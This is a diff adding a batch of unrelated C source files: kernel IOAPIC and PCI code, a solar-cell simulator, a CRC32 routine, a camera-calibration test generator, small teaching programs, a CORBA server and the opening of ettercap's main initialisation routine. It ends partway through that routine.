decide +* things like: sensitivity, which CPU should be interrupted etc. IRT has the +* following meaningful bits: +* - 0-7 -- Interrupt vector +* - 8-10 -- Delivery mode +* - 11 -- Destination mode +* - 12 -- Delivery status +* - 13 -- Interrupt Input Pin Polarity +* - 14 -- Remote IRR +* - 15 -- Trigger mode +* - 16 -- Interrupt mask +* - 17-55 -- Reserved +* - 56-63 -- Destination field (APIC ID or set of processors) +* +* Some registers are: +* 1. I/O register select (IOREGSEL) -- +* 2. I/O Window Register (IOWIN) -- +* 3. Version Register +* 4. ID register -- Physical name of the IOAPIC +* +*/ +#include "sys/kernel.h" +#include "hal/apic.h" +#include "lib/stdio.h" + +extern uint32_t apicbase; + +#define IOAPIC_DEFAULT_ADDR 0xFEC00000 + +#define IOAPIC_REGSEL_OFF 0x00 +#define IOAPIC_IOWIN_OFF 0x10 + +#define REGSEL (uint32_t*)(IOAPIC_DEFAULT_ADDR + apicbase + IOAPIC_REGSEL_OFF) +#define IOWIN (uint32_t*)(IOAPIC_DEFAULT_ADDR + apicbase + IOAPIC_IOWIN_OFF) + + +#define IOAPIC_ID_OFF 0 +#define IOAPIC_VERSION_OFF 1 +#define IOAPIC_ARBITR_OFF 2 +#define IOAPIC_REDIR_TAB_OFF 0x10 + + + + +#define IOAPIC_IRT_DELMOD_FIXED (000b << 8) +#define IOAPIC_IRT_DELMOD_LOW (001b << 8) +#define IOAPIC_IRT_DELMOD_SMI (010b << 8) +#define IOAPIC_IRT_DELMOD_RESERVED (011b << 8) +#define IOAPIC_IRT_DELMOD_NMI (100b << 8) +#define IOAPIC_IRT_DELMOD_INIT (101b << 8) +#define IOAPIC_IRT_DELMOD_RESERVED2 (110b << 8) +#define IOAPIC_IRT_DELMOD_EXTINT (111b << 8) + +#define IOAPIC_IRT_DESTMOD_LOG (1 << 11) +#define IOAPIC_IRT_DELIVS_RO (1 << 12) +#define IOAPIC_IRT_INTPOL_LOW (1 << 13) +#define IOAPIC_IRT_IRR_RO (1 << 14) +#define IOAPIC_IRT_TRIG_LEVEL (1 << 15) +#define IOAPIC_IRT_MASK (1 << 16) + + +#define IOAPIC_INT_DISABLED 0x00010000 + + +IO_apic io_apic; + +// NOTE: Read and write must be on 32-bit boundaries and it must be 32-bit values. + +uint32_t ioapic_read(uint32_t* addr, uint32_t reg); +void ioapic_write(uint32_t* addr, uint32_t reg, uint32_t val); + + +bool ioapic_install() { + /* + // I don't think it matter if there is a mismatch + uint8_t id = (uint8_t)(ioapic_read(io_apic.addr, IOAPIC_ID_OFF) >> 24); + if(id != io_apic.id) { + kprintf(K_FATAL, "Found %x, expected %x\n", id, io_apic.id); + } + */ + + + // Disable all interrupts + kprintf(K_FATAL, "\tMax interr %i\n", io_apic.max_interr); + int i; + for(i = 0; i < io_apic.max_interr; i++) { + ioapic_write( + io_apic.addr, + (IOAPIC_REDIR_TAB_OFF+(2*i)), + (IOAPIC_INT_DISABLED | (IRQ0 + i)) + ); + ioapic_write( + io_apic.addr, + (IOAPIC_REDIR_TAB_OFF+(2*i)+1), + 0 + ); + } + + return false; +} + + +void ioapic_enable_irq(int irq, int cpu_id) { + ioapic_write( + io_apic.addr, + IOAPIC_REDIR_TAB_OFF+(2*irq), + (IRQ0 + irq) + ); + ioapic_write( + io_apic.addr, + IOAPIC_REDIR_TAB_OFF+(2*irq)+1, + (cpu_id << 24) + ); +} + + +uint32_t ioapic_read(uint32_t* addr, uint32_t reg) { + uint32_t volatile* a = (uint32_t volatile*)addr; + a[0] = (reg & 0xFF); // Only use first 8 bits + return a[4]; +} + + +void ioapic_write(uint32_t* addr, uint32_t reg, uint32_t val) { + uint32_t volatile* a = (uint32_t volatile*)addr; + a[0] = (reg & 0xFF); + a[4] = val; +} + + diff --git a/pool/shard011/C/0142306_pci-frv.c b/pool/shard011/C/0142306_pci-frv.c new file mode 100644 index 0000000000000000000000000000000000000000..263a7dd6fc9c252ed7ef5ac8c7e031fdfcd92032 --- /dev/null +++ b/pool/shard011/C/0142306_pci-frv.c @@ -0,0 +1,288 @@ +/* pci-frv.c: low-level PCI access routines + * + * Copyright (C) 2003-5 Red Hat, Inc. All Rights Reserved. + * Written by David Howells (dhowells@redhat.com) + * - Derived from the i386 equivalent stuff + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ + +#include +#include +#include +#include +#include +#include + +#include "pci-frv.h" + +#if 0 +void +pcibios_update_resource(struct pci_dev *dev, struct resource *root, + struct resource *res, int resource) +{ + u32 new, check; + int reg; + + new = res->start | (res->flags & PCI_REGION_FLAG_MASK); + if (resource < 6) { + reg = PCI_BASE_ADDRESS_0 + 4*resource; + } else if (resource == PCI_ROM_RESOURCE) { + res->flags |= PCI_ROM_ADDRESS_ENABLE; + new |= PCI_ROM_ADDRESS_ENABLE; + reg = dev->rom_base_reg; + } else { + /* Somebody might have asked allocation of a non-standard resource */ + return; + } + + pci_write_config_dword(dev, reg, new); + pci_read_config_dword(dev, reg, &check); + if ((new ^ check) & ((new & PCI_BASE_ADDRESS_SPACE_IO) ? PCI_BASE_ADDRESS_IO_MASK : PCI_BASE_ADDRESS_MEM_MASK)) { + printk(KERN_ERR "PCI: Error while updating region " + "%s/%d (%08x != %08x)\n", dev->slot_name, resource, + new, check); + } +} +#endif + +/* + * We need to avoid collisions with `mirrored' VGA ports + * and other strange ISA hardware, so we always want the + * addresses to be allocated in the 0x000-0x0ff region + * modulo 0x400. + * + * Why? Because some silly external IO cards only decode + * the low 10 bits of the IO address. The 0x00-0xff region + * is reserved for motherboard devices that decode all 16 + * bits, so it's ok to allocate at, say, 0x2800-0x28ff, + * but we want to try to avoid allocating at 0x2900-0x2bff + * which might have be mirrored at 0x0100-0x03ff.. + */ +void +pcibios_align_resource(void *data, struct resource *res, + unsigned long size, unsigned long align) +{ + if (res->flags & IORESOURCE_IO) { + unsigned long start = res->start; + + if (start & 0x300) { + start = (start + 0x3ff) & ~0x3ff; + res->start = start; + } + } +} + + +/* + * Handle resources of PCI devices. If the world were perfect, we could + * just allocate all the resource regions and do nothing more. It isn't. + * On the other hand, we cannot just re-allocate all devices, as it would + * require us to know lots of host bridge internals. So we attempt to + * keep as much of the original configuration as possible, but tweak it + * when it's found to be wrong. + * + * Known BIOS problems we have to work around: + * - I/O or memory regions not configured + * - regions configured, but not enabled in the command register + * - bogus I/O addresses above 64K used + * - expansion ROMs left enabled (this may sound harmless, but given + * the fact the PCI specs explicitly allow address decoders to be + * shared between expansion ROMs and other resource regions, it's + * at least dangerous) + * + * Our solution: + * (1) Allocate resources for all buses behind PCI-to-PCI bridges. + * This gives us fixed barriers on where we can allocate. + * (2) Allocate resources for all enabled devices. If there is + * a collision, just mark the resource as unallocated. Also + * disable expansion ROMs during this step. + * (3) Try to allocate resources for disabled devices. If the + * resources were assigned correctly, everything goes well, + * if they weren't, they won't disturb allocation of other + * resources. + * (4) Assign new addresses to resources which were either + * not configured at all or misconfigured. If explicitly + * requested by the user, configure expansion ROM address + * as well. + */ + +static void __init pcibios_allocate_bus_resources(struct list_head *bus_list) +{ + struct list_head *ln; + struct pci_bus *bus; + struct pci_dev *dev; + int idx; + struct resource *r, *pr; + + /* Depth-First Search on bus tree */ + for (ln=bus_list->next; ln != bus_list; ln=ln->next) { + bus = pci_bus_b(ln); + if ((dev = bus->self)) { + for (idx = PCI_BRIDGE_RESOURCES; idx < PCI_NUM_RESOURCES; idx++) { + r = &dev->resource[idx]; + if (!r->start) + continue; + pr = pci_find_parent_resource(dev, r); + if (!pr || request_resource(pr, r) < 0) + printk(KERN_ERR "PCI: Cannot allocate resource region %d of bridge %s\n", idx, dev->slot_name); + } + } + pcibios_allocate_bus_resources(&bus->children); + } +} + +static void __init pcibios_allocate_resources(int pass) +{ + struct pci_dev *dev = NULL; + int idx, disabled; + u16 command; + struct resource *r, *pr; + + while (dev = pci_find_device(PCI_ANY_ID, PCI_ANY_ID, dev), + dev != NULL + ) { + pci_read_config_word(dev, PCI_COMMAND, &command); + for(idx = 0; idx < 6; idx++) { + r = &dev->resource[idx]; + if (r->parent) /* Already allocated */ + continue; + if (!r->start) /* Address not assigned at all */ + continue; + if (r->flags & IORESOURCE_IO) + disabled = !(command & PCI_COMMAND_IO); + else + disabled = !(command & PCI_COMMAND_MEMORY); + if (pass == disabled) { + DBG("PCI: Resource %08lx-%08lx (f=%lx, d=%d, p=%d)\n", + r->start, r->end, r->flags, disabled, pass); + pr = pci_find_parent_resource(dev, r); + if (!pr || request_resource(pr, r) < 0) { + printk(KERN_ERR "PCI: Cannot allocate resource region %d of device %s\n", idx, pci_name(dev)); + /* We'll assign a new address later */ + r->end -= r->start; + r->start = 0; + } + } + } + if (!pass) { + r = &dev->resource[PCI_ROM_RESOURCE]; + if (r->flags & PCI_ROM_ADDRESS_ENABLE) { + /* Turn the ROM off, leave the resource region, but keep it unregistered. */ + u32 reg; + DBG("PCI: Switching off ROM of %s\n", pci_name(dev)); + r->flags &= ~PCI_ROM_ADDRESS_ENABLE; + pci_read_config_dword(dev, dev->rom_base_reg, ®); + pci_write_config_dword(dev, dev->rom_base_reg, reg & ~PCI_ROM_ADDRESS_ENABLE); + } + } + } +} + +static void __init pcibios_assign_resources(void) +{ + struct pci_dev *dev = NULL; + int idx; + struct resource *r; + + while (dev = pci_find_device(PCI_ANY_ID, PCI_ANY_ID, dev), + dev != NULL + ) { + int class = dev->class >> 8; + + /* Don't touch classless devices and host bridges */ + if (!class || class == PCI_CLASS_BRIDGE_HOST) + continue; + + for(idx=0; idx<6; idx++) { + r = &dev->resource[idx]; + + /* + * Don't touch IDE controllers and I/O ports of video cards! + */ + if ((class == PCI_CLASS_STORAGE_IDE && idx < 4) || + (class == PCI_CLASS_DISPLAY_VGA && (r->flags & IORESOURCE_IO))) + continue; + + /* + * We shall assign a new address to this resource, either because + * the BIOS forgot to do so or because we have decided the old + * address was unusable for some reason. + */ + if (!r->start && r->end) + pci_assign_resource(dev, idx); + } + + if (pci_probe & PCI_ASSIGN_ROMS) { + r = &dev->resource[PCI_ROM_RESOURCE]; + r->end -= r->start; + r->start = 0; + if (r->end) + pci_assign_resource(dev, PCI_ROM_RESOURCE); + } + } +} + +void __init pcibios_resource_survey(void) +{ + DBG("PCI: Allocating resources\n"); + pcibios_allocate_bus_resources(&pci_root_buses); + pcibios_allocate_resources(0); + pcibios_allocate_resources(1); + pcibios_assign_resources(); +} + +int pcibios_enable_resources(struct pci_dev *dev, int mask) +{ + u16 cmd, old_cmd; + int idx; + struct resource *r; + + pci_read_config_word(dev, PCI_COMMAND, &cmd); + old_cmd = cmd; + for(idx=0; idx<6; idx++) { + /* Only set up the requested stuff */ + if (!(mask & (1<resource[idx]; + if (!r->start && r->end) { + printk(KERN_ERR "PCI: Device %s not available because of resource collisions\n", pci_name(dev)); + return -EINVAL; + } + if (r->flags & IORESOURCE_IO) + cmd |= PCI_COMMAND_IO; + if (r->flags & IORESOURCE_MEM) + cmd |= PCI_COMMAND_MEMORY; + } + if (dev->resource[PCI_ROM_RESOURCE].start) + cmd |= PCI_COMMAND_MEMORY; + if (cmd != old_cmd) { + printk("PCI: Enabling device %s (%04x -> %04x)\n", pci_name(dev), old_cmd, cmd); + pci_write_config_word(dev, PCI_COMMAND, cmd); + } + return 0; +} + +/* + * If we set up a device for bus mastering, we need to check the latency + * timer as certain crappy BIOSes forget to set it properly. + */ +unsigned int pcibios_max_latency = 255; + +void pcibios_set_master(struct pci_dev *dev) +{ + u8 lat; + pci_read_config_byte(dev, PCI_LATENCY_TIMER, &lat); + if (lat < 16) + lat = (64 <= pcibios_max_latency) ? 64 : pcibios_max_latency; + else if (lat > pcibios_max_latency) + lat = pcibios_max_latency; + else + return; + printk(KERN_DEBUG "PCI: Setting latency timer of device %s to %d\n", pci_name(dev), lat); + pci_write_config_byte(dev, PCI_LATENCY_TIMER, lat); +} diff --git a/pool/shard011/C/0142307_sim_find_n0.c b/pool/shard011/C/0142307_sim_find_n0.c new file mode 100644 index 0000000000000000000000000000000000000000..8d8b4d544219de82383bbd0705ef34f2fa85062e --- /dev/null +++ b/pool/shard011/C/0142307_sim_find_n0.c @@ -0,0 +1,95 @@ +// Organic Photovoltaic Device Model - a drift diffusion base/Shockley-Read-Hall +// model for organic solar cells. +// Copyright (C) 2012 Roderick C. I. MacKenzie +// +// roderick.mackenzie@nottingham.ac.uk +// www.roderickmackenzie.eu +// Room B86 Coates, University Park, Nottingham, NG7 2RD, UK +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along +// with this program; if not, write to the Free Software Foundation, Inc., +// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +#include +#include +#include +#include +#include +#include +#include +#include "util.h" +#include +#include "sim.h" +#include "dos.h" +#include "dump.h" +#include "elec_plugins.h" +#include "complex_solver.h" +#include "log.h" + +void find_n0(struct device *in) +{ + int i; + printf_log("Finding n0\n"); + double oldsun = in->Psun; + double oldv = in->Vapplied; + in->Vapplied = 0; + in->Psun = 0; + char temp[200]; + light_solve_and_update(in, &(in->mylight), in->Psun, 0.0); + + if (get_dump_status(dump_equilibrium) == TRUE) { + join_path(2, temp, in->outputpath, "equilibrium"); + dump_1d_slice(in, temp); + } + + for (i = 0; i < in->ymeshpoints; i++) { + in->B[i] = 0.0; + } + + double save_clamp = in->electrical_clamp; + int save_ittr = in->max_electrical_itt; + double save_electricalerror = in->min_cur_error; + + in->electrical_clamp = in->electrical_clamp0; + in->max_electrical_itt = in->max_electrical_itt0; + in->min_cur_error = in->electrical_error0; + + solve_all(in); + + in->max_electrical_itt = save_ittr; + in->electrical_clamp = save_clamp; + in->min_cur_error = save_electricalerror; + + solve_all(in); + + for (i = 0; i < in->ymeshpoints; i++) { + in->B[i] = get_dos_B(in->imat[i]); + } + + reset_np_save(in); + reset_npequlib(in); + + FILE *outfile; + outfile = fopena(in->outputpath, "voc_mue.dat", "w"); + fprintf(outfile, "%le", get_avg_mue(in)); + fclose(outfile); + + outfile = fopena(in->outputpath, "voc_muh.dat", "w"); + fprintf(outfile, "%le", get_avg_muh(in)); + fclose(outfile); + + in->Psun = oldsun; + in->Vapplied = oldv; + light_solve_and_update(in, &(in->mylight), in->Psun, 0.0); + printf_log("Exit finding n0\n"); +} diff --git a/pool/shard011/C/0142308_sequential.c b/pool/shard011/C/0142308_sequential.c new file mode 100644 index 0000000000000000000000000000000000000000..850b6fe9404db291d167610cda191214bbcc9aaf --- /dev/null +++ b/pool/shard011/C/0142308_sequential.c @@ -0,0 +1,25 @@ +#include +#include +#include + +#include "func.h" + +void sequential (int n, int * circle_count) +{ + int i; + + *circle_count = 0; + for (i=0; i 8) { + // Fix the alignment, if needed. The if statement above + // ensures that this won't read past the end of buf[]. + while ((uintptr_t)(buf) & 7) { + crc = lzma_crc32_table[0][*buf++ ^ A(crc)] ^ S8(crc); + --size; + } + + // Calculate the position where to stop. + const uint8_t *const limit = buf + (size & ~(size_t)(7)); + + // Calculate how many bytes must be calculated separately + // before returning the result. + size &= (size_t)(7); + + // Calculate the CRC32 using the slice-by-eight algorithm. + while (buf < limit) { + crc ^= *(uint32_t *)(buf); + buf += 4; + + crc = lzma_crc32_table[7][A(crc)] + ^ lzma_crc32_table[6][B(crc)] + ^ lzma_crc32_table[5][C(crc)] + ^ lzma_crc32_table[4][D(crc)]; + + const uint32_t tmp = *(uint32_t *)(buf); + buf += 4; + + // At least with some compilers, it is critical for + // performance, that the crc variable is XORed + // between the two table-lookup pairs. + crc = lzma_crc32_table[3][A(tmp)] + ^ lzma_crc32_table[2][B(tmp)] + ^ crc + ^ lzma_crc32_table[1][C(tmp)] + ^ lzma_crc32_table[0][D(tmp)]; + } + } + + while (size-- != 0) + crc = lzma_crc32_table[0][*buf++ ^ A(crc)] ^ S8(crc); + +#ifdef WORDS_BIGENDIAN + crc = bswap_32(crc); +#endif + + return ~crc; +} diff --git a/pool/shard011/C/0142310_rfx-camcal-test.c b/pool/shard011/C/0142310_rfx-camcal-test.c new file mode 100644 index 0000000000000000000000000000000000000000..536677b6d140406c80fa5cad7bb5ef36aac280f6 --- /dev/null +++ b/pool/shard011/C/0142310_rfx-camcal-test.c @@ -0,0 +1,251 @@ +/* -*- mode: C; c-basic-offset: 4 -*- */ +/* ex: set shiftwidth=4 tabstop=4 expandtab: */ +/* + * Copyright (c) 2013, Georgia Tech Research Corporation + * All rights reserved. + * + * Author(s): Neil T. Dantam + * Georgia Tech Humanoid Robotics Lab + * Under Direction of Prof. Mike Stilman + * + * + * This file is provided under the following "BSD-style" License: + * + * + * Redistribution and use in source and binary forms, with or + * without modification, are permitted provided that the following + * conditions are met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * * Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following + * disclaimer in the documentation and/or other materials provided + * with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND + * CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, + * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF + * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + + */ + +#include +#include +#include "reflex.h" + + +const char *opt_file_cam = NULL; +const char *opt_file_fk = NULL; +const char *opt_file_out = NULL; +const char *opt_file_id = NULL; + +size_t opt_test = 512; +int opt_verbosity = 0; +double opt_d_theta = 0; +double opt_d_x = 0; + +double opt_zmax_theta = 1; +double opt_zmax_x = 1; + +double opt_marker_offset_angle = 0; +double opt_marker_offset_trans = 0; + +static void +write_tfs(const char *comment, const char *name, size_t n, double *A ); + +static void +write_tf(FILE *tf, const char *comment, double *E ); + + +static FILE* +tryfopen(const char *name ); + +// static size_t +// reject( size_t n_in, double zmax_theta, double zmax_x, double *EE, const double *E_mean ); + +void gentest( void ); + +FILE *global_output = NULL; + + +int main( int argc, char **argv ) +{ + /* Parse */ + for( int c; -1 != (c = getopt(argc, argv, "c:k:i:o:t:d:x:e:y:v?")); ) { + switch(c) { + case 'v': + opt_verbosity++; + break; + case 'c': + opt_file_cam = optarg; + break; + case 'k': + opt_file_fk = optarg; + break; + case 'i': + opt_file_id = optarg; + break; + case 'o': + opt_file_out = optarg; + break; + case 't': + opt_test = (size_t)atoi(optarg); + break; + case 'd': + opt_d_theta = atof(optarg)*M_PI/180; + break; + case 'x': + opt_d_x = atof(optarg); + break; + case 'e': + opt_marker_offset_angle = atof(optarg)*M_PI/180; + break; + case 'y': + opt_marker_offset_trans = atof(optarg); + break; + case '?': /* help */ + puts( "Usage: rfx-camcal -k FK_POSE_FILE -c CAM_POSE_FILE \n" + "Calibrate a camera from list of kinematics and camera transforms" + "\n" + "Options:\n" + " -k FILENAME, Forward Kinematics Pose File\n" + " -c FILENAME, Camera Marker Pose File\n" + " -i ID-FILE, Frame id file\n" + " -o FILENAME, Output file\n" + " -t POSE_COUNT, Generate test data\n" + " -d DEGREES, Corrupt test data rotation by max DEGREES\n" + " -x VALUE, Corrupt test translation by max VALUE\n" + " -e DEGREES, Corrupt marker pose by max DEGREES\n" + " -y VALUE, Corrupt marker translation by max VALUE\n" + " -v, Be verbose\n" + " -?, Program help text\n" + "\n" + "Files:\n" + " transforms.dat Input files are lists transforms, one per line,\n" + " given as a quaternion followed by a translation.\n" + " Values are separated by spaces.\n" + " The quaternion is in xyzw order.\n" + "\n" + "Examples:\n" + " rfx-camcal -k fk-tf.dat -c cam-tf.dat Compute average relative transform\n" + "\n" + " rfx-camcal -k fk.dat -c cam.dat -t 10 Generate random test poses\n" + "\n" + "Report bugs to " + ); + exit(EXIT_SUCCESS); + break; + default: + printf("Unknown argument: `%s'\n", optarg); + exit(EXIT_FAILURE); + } + } + + if( opt_verbosity) { + fprintf(stderr, "Generating test data.\n"); + } + + srand((unsigned int)time(NULL)); // might break in 2038 + + double E_true[7]; + double E_off[7]; + + double *E_cam = (double*)malloc( sizeof(double) * 7 * opt_test ); + double *E_fk = (double*)malloc( sizeof(double) * 7 * opt_test ); + + aa_tf_qutr_rand( E_true ); + aa_tf_qminimize(E_true); + rfx_tf_rand( opt_marker_offset_angle, opt_marker_offset_trans, E_off ); + + for( size_t i = 0; i < opt_test; i ++ ) { + size_t j = 7*i; + { + // random FK + aa_tf_qutr_rand( E_fk+j ); + // marker fk = fk * offset + double mk_fk[7]; + aa_tf_qutr_mul(E_fk+j, E_off, mk_fk ); + aa_tf_qutr_cmul( E_true, mk_fk, E_cam+j ); + } + + if( 0 < opt_d_theta || 0 < opt_d_x ) { + double tmp[7]; + rfx_tf_corrupt( opt_d_theta, opt_d_x, E_cam+j, tmp ); + memcpy( E_cam+j, tmp, 7*sizeof(tmp[0]) ); + } + } + + write_tfs( "Camera Pose Estimates", opt_file_cam, opt_test, E_cam ); + write_tfs( "Forward Kinematics Poses", opt_file_fk, opt_test, E_fk ); + double E_out[2][7]; + AA_MEM_CPY(E_out[0], E_off, 7); + AA_MEM_CPY(E_out[1], E_true, 7); + write_tfs( "True Registration", opt_file_out, 2, E_out[0] ); + + FILE *f_id = tryfopen(opt_file_id); + for( size_t i = 0; i < opt_test; i ++ ) + fprintf(f_id,"0\n"); + fclose(f_id); +} + + +static FILE* +tryfopen(const char *name) +{ + FILE *f = NULL; + if( NULL == name || 0 == strcmp(name,"-") ) { + f = stdout; + } else { + f = fopen(name, "w"); + } + + if( NULL == f ) { + fprintf(stderr, "Could not open `%s'\n", name); + exit(EXIT_FAILURE); + } + return f; +} + +static void +write_tfs(const char *comment, const char *name, size_t n, double *A ) +{ + if( opt_verbosity) { + fprintf(stderr, "Writing output to `%s'.\n", + name ? name : "STDOUT"); + } + + FILE *f = tryfopen( name ); + + fprintf(f,"# %s\n" + "\n" + "# quat_x quat_y quat_z quat_w trans_x trans_y trans_z\n", + comment); + + for( size_t i = 0; i < n; i ++ ) { + double *E = A+7*i; + write_tf( f, NULL, E ); + } +} + + +static void +write_tf(FILE *f, const char *comment, double *E ) +{ + aa_tf_qminimize(E); + if( comment ) fprintf(f, "# %s\n", comment ); + fprintf(f, "%f %f %f %f %f %f %f\n", + E[0], E[1], E[2], E[3], + E[4], E[5], E[6] ); +} diff --git a/pool/shard011/C/0142311_strtok.c b/pool/shard011/C/0142311_strtok.c new file mode 100644 index 0000000000000000000000000000000000000000..8d264dfd9a6561ca27bc5a8e5df29e147258264c --- /dev/null +++ b/pool/shard011/C/0142311_strtok.c @@ -0,0 +1,19 @@ +#include +#include + +/* Isto é um ponteiro para uma constante! */ +char *s = "Hello, world!"; + +int main(int argc, char *argv[]) +{ + char *p; + + p = strtok(s, ", "); /* Ocorrerá um 'segmentation fault' aqui! */ + while (p != NULL) + { + printf("%s\n", p); + p = strtok(NULL, ", "); + } + + return 0; +} diff --git a/pool/shard011/C/0142312_simple_sort.c b/pool/shard011/C/0142312_simple_sort.c new file mode 100644 index 0000000000000000000000000000000000000000..67a6dff4fe5933290698c0bcb05711d4faec49e1 --- /dev/null +++ b/pool/shard011/C/0142312_simple_sort.c @@ -0,0 +1,53 @@ +#include + +void swap(int *m,int*n) +{ + int temp = *m; + *m=*n; + *n=temp; +} + +void simple_sort(int *base,int num) +{ + int i,j,k; + + for(i=0;i +#include "ttcp-server.h" + +void register_objects(CORBA_ORB orb, CORBA_BOA boa, int argc, char **argv, + CORBA_Environment *ev) +{ + int i; + CORBA_ReferenceData key; + + for (i = 1; i < argc; i++) { + if (!strcmp(argv[i], "-I") && (i + 1 < argc)) { + ++i; + key._maximum = strlen(argv[i]); + key._length = key._maximum; + key._buffer = (CORBA_octet *) argv[i]; + CORBA_sequence_set_release(&key, 0); + + /* XXX should save returned object! */ + CORBA_BOA_create(boa, &key, "ttcp", &ttcp_server, ev); + if (ev->_major != CORBA_NO_EXCEPTION) + return; + } + } + CORBA_BOA_set_exception(boa, ev, CORBA_NO_EXCEPTION, 0, 0); +} + +int ttcp_inttest(ttcp o, intBuffer *data, CORBA_Environment *_ev) +{ + static int qty = 0; + if (!(++qty & 127)) + printf("Integers still working...%d - %d\n", + qty, data->_length); + return 0; +} + +int ttcp_structtest(ttcp o, structBuffer *data, CORBA_Environment *_ev) +{ + static int qty = 0; + if (!(++qty & 127)) + printf("Structures still working...%d - %d\n", + qty, data->_length); + return 0; +} + +/* End of file. */ + diff --git a/pool/shard011/C/0142314_ec_main.c b/pool/shard011/C/0142314_ec_main.c new file mode 100644 index 0000000000000000000000000000000000000000..ec40a941d8ba4ec8aa89727535122de48bbd8f8f --- /dev/null +++ b/pool/shard011/C/0142314_ec_main.c @@ -0,0 +1,310 @@ +/* + ettercap -- everything starts from this file... + + Copyright (C) ALoR & NaGA + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#ifdef HAVE_LUA +#include +#endif + +/* global vars */ + + +/* protos */ + +void clean_exit(int errcode); +static void drop_privs(void); +static void time_check(void); + +/*******************************************/ + +int main(int argc, char *argv[]) +{ + /* + * Alloc the global structures + * We can access these structs via the macro in ec_globals.h + */ + + globals_alloc(); + + GBL_PROGRAM = strdup(EC_PROGRAM); + GBL_VERSION = strdup(EC_VERSION); + SAFE_CALLOC(GBL_DEBUG_FILE, strlen(EC_PROGRAM) + strlen("-") + strlen(EC_VERSION) + strlen("_debug.log") + 1, sizeof(char)); + sprintf(GBL_DEBUG_FILE, "%s-%s_debug.log", GBL_PROGRAM, EC_VERSION); + + DEBUG_INIT(); + DEBUG_MSG("main -- here we go !!"); + + /* initialize the filter mutex */ + filter_init_mutex(); + + /* register the main thread as "init" */ + ec_thread_register(EC_PTHREAD_SELF, "init", "initialization phase"); + + /* activate the signal handler */ + signal_handler(); + + /* ettercap copyright */ + fprintf(stdout, "\n" EC_COLOR_BOLD "%s %s" EC_COLOR_END " copyright %s %s\n\n", + GBL_PROGRAM, GBL_VERSION, EC_COPYRIGHT, EC_AUTHORS); + + /* getopt related parsing... */ + parse_options(argc, argv); + + /* check the date */ + time_check(); + + /* load the configuration file */ + load_conf(); + + /* + * get the list of available interfaces + * + * this function will not return if the -I option was + * specified on command line. it will instead print the + * list and exit + */ + capture_getifs(); + + /* initialize the user interface */ + ui_init(); + + /* initialize the network subsystem */ + network_init(); + + /* + * always disable the kernel ip forwarding (except when reading from file). + * the forwarding will be done by ettercap. + */ + if(!GBL_OPTIONS->read && !GBL_OPTIONS->unoffensive && !GBL_OPTIONS->only_mitm) { + disable_ip_forward(); + +#ifdef OS_LINUX + disable_interface_offload(); +#endif + /* binds ports and set redirect for ssl wrapper */ + if(GBL_SNIFF->type == SM_UNIFIED && GBL_OPTIONS->ssl_mitm) + ssl_wrap_init(); + } + + /* + * drop root privileges + * we have already opened the sockets with high privileges + * we don't need anymore root privs. + */ + drop_privs(); + +/***** !! NO PRIVS AFTER THIS POINT !! *****/ + + /* load all the plugins */ + plugin_load_all(); + + /* print how many dissectors were loaded */ + conf_dissectors(); + + /* load the mac-fingerprints */ + manuf_init(); + + /* load the tcp-fingerprints */ + fingerprint_init(); + + /* load the services names */ + services_init(); + + /* load http known fileds for user/pass */ + http_fields_init(); + +#ifdef HAVE_LUA + /* Initialize lua */ + ec_lua_init(); +#endif + + /* set the encoding for the UTF-8 visualization */ + set_utf8_encoding((u_char*)GBL_CONF->utf8_encoding); + + /* print all the buffered messages */ + if (GBL_UI->type == UI_TEXT) + USER_MSG("\n"); + + ui_msg_flush(MSG_ALL); + +/**** INITIALIZATION PHASE TERMINATED ****/ + + /* + * we are interested only in the mitm attack i + * if entered, this function will not return... + */ + if (GBL_OPTIONS->only_mitm) + only_mitm(); + + /* create the dispatcher thread */ + ec_thread_new("top_half", "dispatching module", &top_half, NULL); + + /* this thread becomes the UI then displays it */ + ec_thread_register(EC_PTHREAD_SELF, GBL_PROGRAM, "the user interface"); + ui_start(); + +/******************************************** + * reached only when the UI is shutted down + ********************************************/ + + /* Call all the proper stop methods to ensure + * that no matter what UI was selected, everything is + * turned off gracefully */ + clean_exit(0); + + return 0; //Never reaches here +} + + +/* + * drop root privs + */ +static void drop_privs(void) +{ + u_int uid, gid; + char *var; + +#ifdef 